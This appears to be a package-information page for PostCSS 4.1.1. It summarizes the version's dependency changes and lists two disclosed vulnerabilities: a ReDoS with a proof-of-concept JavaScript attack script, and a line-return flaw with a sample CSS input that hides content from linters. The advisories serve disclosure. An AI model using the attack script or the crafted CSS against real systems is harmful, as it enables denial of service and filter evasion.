PostCSS version 4.1.1 is a minor update to the popular CSS transformation tool, following closely on the heels of version 4.1.0. Both versions provide developers with a robust platform for manipulating CSS using JavaScript plugins, enabling powerful features like autoprefixing, future CSS syntax support, and custom transformations. The core dependencies, js-base64 and source-map, remain consistent, ensuring continued compatibility and reliable source map generation for easier debugging.
While the core functionality remains the same, the key difference between the two versions lies within the development dependencies (devDependencies). Examining the differences, the only notable change is an update to the cssnext dependency, which jumps from version 1.1.0 in 4.1.0 to version 1.2.1 in 4.1.1. This suggests that the update likely addresses bug fixes, performance improvements, or minor feature enhancements within the cssnext plugin, which itself is a powerful tool for using future CSS syntax today.
For developers already using PostCSS 4.1.0 and leveraging cssnext, upgrading to 4.1.1 is advisable to benefit from the cssnext update's improvements. For new adopters of PostCSS, starting with version 4.1.1 ensures they're working with the latest iteration and any associated bug fixes or enhancements in the cssnext plugin. Both versions maintain the same MIT license and authorship, ensuring consistent usage rights and developer support. Ultimately, this minor version bump provides a subtle enhancement to the PostCSS ecosystem, primarily through the updated cssnext dependency.
All the vulnerabilities related to the version 4.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.